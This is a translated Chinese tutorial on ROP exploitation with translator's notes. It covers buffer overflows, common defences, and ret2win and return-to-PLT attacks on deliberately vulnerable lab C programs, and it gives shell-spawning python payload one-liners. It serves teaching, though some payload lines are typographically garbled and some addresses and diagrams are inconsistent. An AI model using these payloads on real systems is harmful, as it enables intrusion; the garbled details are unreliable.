ROP內存攻擊技術入門教程
一、前言
不可否認的是,不管是CTF賽事,還是二進制漏洞利用的過程中,ROP都是一個很基礎很重要的攻擊技術。
這一段是譯者自己加的,與原文無關。
ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。
ROP是一種攻擊技術,其中攻擊者使用堆棧的控制來在現有程序代碼中的子程序中的返回指令之前,立即間接地執行精心挑選的指令或機器指令組。
因為所有執行的指令來自原始程序內的可執行存儲器區域,所以這避免了直接代碼注入的麻煩,并繞過了用來阻止來自用戶控制的存儲器的指令的執行的大多數安全措施。
因此,ROP技術是可以用來繞過現有的程序內部內存的保護機制的。在學習下面的內容之前,先確保自己已經了解了基本的堆棧溢出的漏洞原理。
二、一個簡單的經典緩沖區溢出例子
- #include <unistd.h>
- #include <stdio.h>
- void vuln(){
- char buffer[10];
- read(0,buffer,100);
- puts(buffer);
- }
- int main() {
- vuln();
- }
這個程序有明顯的緩沖區溢出攻擊。在vuln()函數中設置了10個字節的緩沖區,而我們讀取的字節高達100個字節。read()的濫用導致了緩沖區溢出。
我們可以看看vuln函數調用時候,堆棧的情況:
- ADDRESS DATA
- 0xbfff0000 XX XX XX XX <- buffer
- 0xbfff0004 XX XX XX XX
- 0xbfff0008 XX XX XX XX
- 0xbfff000c XX XX XX XX
- ........
- 0xbfff0020 YY YY YY YY <- saved EBP address
- 0xbfff0024 ZZ ZZ ZZ ZZ <- return address
當緩沖區填充正確的大小時,可以修改保存的返回地址,允許攻擊者控制EIP,從而允許他執行任意任意代碼。
三、緩沖區溢出防御措施
但是,在現代的系統中,有一些防御措施可以避免被攻擊:
- ALSR
- Stack Canaries
- NX/DEP
防御措施大概有這些內容,原文作者只是簡單的介紹了一下,如果想更清晰了解,可以參考譯者博客。
1. NX/DEP
DEP表示數據執行預防,此技術將內存區域標記為不可執行。通常堆棧和堆被標記為不可執行,從而防止攻擊者執行駐留在這些區域的內存中的代碼。
2. ASLR
ASLR表示地址空間層隨機化。這種技術使共享庫,堆棧和堆被占用的內存的地址隨機化。這防止攻擊者預測在哪里采取EIP,因為攻擊者不知道他的惡意有效載荷的地址。
3. Stack Canaries
下文簡稱為:Canary
在這種技術中,編譯器在堆棧幀的局部變量之后和保存的返回地址之前放置一個隨機化保護值。在函數返回之前檢查此保護,如果它不相同,然后程序退出。我們可以將它可視化為:
- ADDRESS DATA
- 0xbfff0000 XX XX XX XX <- buffer
- 0xbfff0004 XX XX XX XX
- 0xbfff0008 XX XX XX XX
- 0xbfff000c CC CC CC CC <- stack canary
- ........
- 0xbfff0020 YY YY YY YY <- saved EBP address
- 0xbfff0024 ZZ ZZ ZZ ZZ <- return address
如果攻擊者試圖修改返回地址,Canayr也將不可避免地被修改。因此,在函數返回之前,檢查這個Canayr,從而防止利用。
那么我們如何繞過這些防御措施呢?
四、Return Oritented Programming (ROP編程)
ROP是一個復雜的技術,允許我們繞過DEP和ALSR,但不幸的是(或對于用戶來說幸運的是)這不能繞過Canary,但如果有額外的內存泄漏,我們可以通過泄露,leak canary的值和使用它。
ROP re-uses ,即我們可以重用Bin文件或者Libc文件(共享庫)中的代碼。這些代碼,或者說指令,通常被我們稱作“ROP Gadget”。
下文,我們將來分析一下,一個特殊的ROP例子,我們稱作Return2PLT。應該注意的是,只有libc基地址被隨機化,特定函數從其基地址的偏移總是保持不變。如果我們可以繞過共享庫基地址隨機化,即使ASLR打開,也可以成功利用漏洞程序。
讓我們分析下,下面這個脆弱的代碼
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdlib.h>
- void grant() {
- system("/bin/sh");
- }
- void exploitable() {
- char buffer[16];
- scanf("%s", buffer);
- if(strcmp(buffer,"pwned") == 0) grant();
- else puts("Nice try\n");
- }
- int main(){
- exploitable();
- return 0;
- }
我們上文說了,ROP技術并不能繞過Canay保護措施,所以我們編譯這個程序的時候需要關閉對戰保護程序。我們可以利用下面的命令編譯。
- $ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32
五、譯者的程序分析
我先看看代碼,再翻譯作者的文章。我們看到,在exploitable()函數中,設置了16字節的緩沖區,但是值得我們注意的是scanf函數沒有安全的使用,這導致我們可以寫入超過16字節,這就導致了緩沖區溢出的可能。我們用注意到,有個函數調用了sytem("/bin/sh"),這里我們就可以假設,如果我們可以操作函數調轉,去調用grant()函數,我們就可以拿到shell了。 基本上思路就是這樣的。
讀取程序的內存映射,我們可以看到它的棧是只讀/ 不可執行的。
六、讓我們嘗試控制EIP
由于scanf不執行綁定的check,因此我們可以通過覆蓋函數的返回地址來指向某個已知位置來控制EIP。我會嘗試指向它grant()達到getshell的目的。我們可以通過objdum工具,來獲取grant()的地址。
除了利用objdump來看,當然我們還是可以用IDA查找的。
objdump命令如下
- $ objdump -d ./hack_me_2 | grep grant
結果應該看起來是這樣的
- 080484cb <grant>:
- 8048516:e8 b0 ff ff ff call 80484cb <grant>
接下來就是寫exp,達到目的了。
- $(python -c'print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”' ; cat - )| ./hack_me_2
七、這里譯者補充幾點
第一: 為什么是28個字節?這個是需要我們自己去分析的,我們需要計算兩者直接字節數的值,才好控制跳轉,畢竟本文是基于我們了解緩沖區溢出知識后的,如果有疑問,可以留言,或者自尋百度。
第二: 從代碼來看,我們可以知道原文作者的環境是基于32位的,所以這里需要了解一下小端的知識。
運行上述代碼之后,我們就可以成功getshell了。
很明顯,大多數程序不會為你調用shell這個很容易,我們需要修改程序讓demo更貼近現實一點。
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdlib.h>
- char *shell = "/bin/sh";
- void grant() {
- system("cowsay try again");
- }
- void exploitable() {
- char buffer[16];
- scanf("%s", buffer);
- if(strcmp(buffer,"pwned") == 0) grant();
- else puts("Nice try\n");
- }
- int main(){
- exploitable();
- return 0;
- }
運行先前的exp,我們發現并沒有getshell,那么我們怎么去調用sysytem(“/bin/sh”)呢?
分析,這次的程序并沒有直接調用 system("/bin/sh")了,但是漏洞產生的原理和之前的一樣。就不再復述了。
八、調用函數約定
當反匯編我們的代碼看起來像這樣的:
- 080484cb <grant>:
- 80484cb:55 push%ebp
- 80484cc:89 e5 mov%esp,%ebp
- 80484ce:83 ec 08 sub $ 0x8,%esp
- 80484d1:83 ec 0c sub $ 0xc,%esp
- 80484d4:68 e8 85 04 08 push $ 0x80485e8
- 80484d9:e8 b2 fe ff ff call 8048390 < system @ plt>
- 80484de:83 c4 10 add $ 0x10,%esp
- 80484e1:90 nop
- 80484e2:c9 leave
- 80484e3:c3 ret
- 080484e4 <exploitable>:
- 8048516:e8 b0 ff ff ff call 80484cb <grant>
- 804851b:eb 10 jmp 804852d <exploitable + 0x49>
讓我們簡單看看每個指令的作用。
在可利用的情況下,我們調用grant()使用指令去做兩件事情,推送下一個地址0x0804851b到堆棧,并更改EIP為0x080484cb 到grant()所在的地址
- push %ebp
- mov %esp,%ebp
這是函數的初始化。它為當前函數設置堆棧框架。它通過push之前保存的一堆棧幀的基指針,然后將當前基指針更改為堆棧指針($ ebp = $ esp)。現在grant()可以使用它的棧來存儲變量和whatnot。
之后,它通過從esp中減去來為局部變量分配空間(因為堆棧增長),最后0x080485e8在調用之前將地址壓入堆棧,system()它是指向將作為參數傳遞的字符串的指針system(),它有點像
- system(*0x80485e8)
最后ret,將保存的 函數返回地址從堆棧的頂部pop出值到EIP。
九、構建我們自己的堆棧幀
我們已經看到了當函數被調用時堆棧的行為,這意味著
- 我們可以構造我們自己的堆棧幀
- 控制參數到我們跳轉到的函數
- 確定此函數返回的位置
- 如果我們控制這兩者之間的堆棧,我們可以控制返回函數的參數
- 通過ROP鏈接在多個函數中跳轉
從objdump我們看到“/ bin / sh”的地址是 0x080485E0
- $ objdump -s -j .rodata hack_me_3
- hack_me_3: file format elf32-i386
- Contents of section .rodata:
- 80485d8 03000000 01000200 2f62696e 2f736800 ......../bin/sh.
- 80485e8 636f7773 61792074 72792061 6761696e cowsay try again
- 80485f8 00257300 70776e65 64004e69 63652074 .%s.pwned.Nice t
- 8048608 72790a00
我們構造一個“假”的堆棧結構,然后修改函數的返回地址,這樣的堆棧結構如下:
- ADDRESS DATA
- ........
- // exploitable() stack
- 0xbfff0004 80 48 4d 90 <- return address
- // our frame
- 0xbfff0008 41 41 41 41 <- saved return pointer, system()
- 0xbfff000c 08 04 85 E0 <- "/bin/sh"
所以以,當函數exploitable()返回時,它返回system(),將看到它返回地址為41414141和參數為“/bin/sh”,這將產生一個shell,但是當它返回時會彈出41414141到EIP,它是一個有效的地址,我們可以ROP連接他們,只要他們不需要參數。所以,我們最后的利用代碼是:
- $(python -c'print“A”* 28 +“\ x90 \ x83 \ x04 \ x08”+“\ x41 \ x41 \ x41 \ x41”+“\ xE0 \ x85 \ x04 \ x08” | ./hack_me_3
注:本文僅用于交流學習與安全研究,請勿對文中提及的內容進行惡意使用!本平臺及作者對讀者的之后的行為不承擔任何法律責任。